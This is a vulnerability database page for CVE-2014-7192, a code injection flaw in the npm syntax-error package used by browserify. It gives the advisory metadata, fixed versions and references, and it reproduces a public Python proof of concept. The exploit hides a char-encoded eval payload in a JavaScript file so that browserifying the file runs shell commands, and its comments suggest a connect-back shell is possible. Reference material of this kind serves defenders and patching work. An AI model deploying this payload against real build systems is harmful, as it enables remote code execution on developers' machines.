CVE-2014-7192
critical
CVSS v3
โ
CVSS v4 NEW
โ
VIR risk
10.0
Description
Potential for Script Injection in syntax-error
Predictions
Exploit likelihood
20%
Patch ETA
โ
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Node Browserify 4.2.0 - Remote Code Execution
#!/usr/bin/python
"""
Browserify POC exploit
http://iops.io/blog/browserify-rce-vulnerability/
To run, just do:
$ python poc.py > exploit.js
$ browserify exploit.js
BITCH I TOLD YOU THIS SHIT IS FABULOUS
[[garbage output]]
},{}]},{},[1]) 00:08:32 up 12:29, 3 users, load average: 0.00, 0.02, 0.05
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
You can also spawn() and create a connect back shell.
Enjoy
"""
def charencode(string):
encoded=''
for char in string:
encoded=encoded+","+str(ord(char))
return encoded[1:]
plaintext = """
var require = this.process.mainModule.require;
var sys = require('sys')
var exec = require('child_process').exec;
function puts(error, stdout, stderr) { sys.puts(stdout) }
exec("uptime && id", puts);
console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
"""
payload = charencode(plaintext)
final = "eval(String.fromCharCode(%s));" %(payload)
print "});"
print final
print "(function(){"
Package impact
| Ecosystem | Package | Vulnerable | Fixed |
|---|---|---|---|
| npm | syntax-error | <1.1.1 | 1.1.1 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| joyent | node.js | {"endIncluding":"0.10.32"} | |
References
- http://www-01.ibm.com/support/docview.wss?uid=swg21690815
- https://exchange.xforce.ibmcloud.com/vulnerabilities/96728
- https://github.com/substack/node-syntax-error/commit/9aa4e66eb90ec595d2dba55e6f9c2dd9a668b309
- https://nodesecurity.io/advisories/syntax-error-potential-script-injection
- https://nvd.nist.gov/vuln/detail/CVE-2014-7192
- https://github.com/advisories/GHSA-5726-g6r9-5f22
- https://github.com/substack/node-browserify/blob/master/changelog.markdown#421
- https://github.com/substack/node-syntax-error
- https://www.npmjs.com/advisories/37
CWEs
CWE-94
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.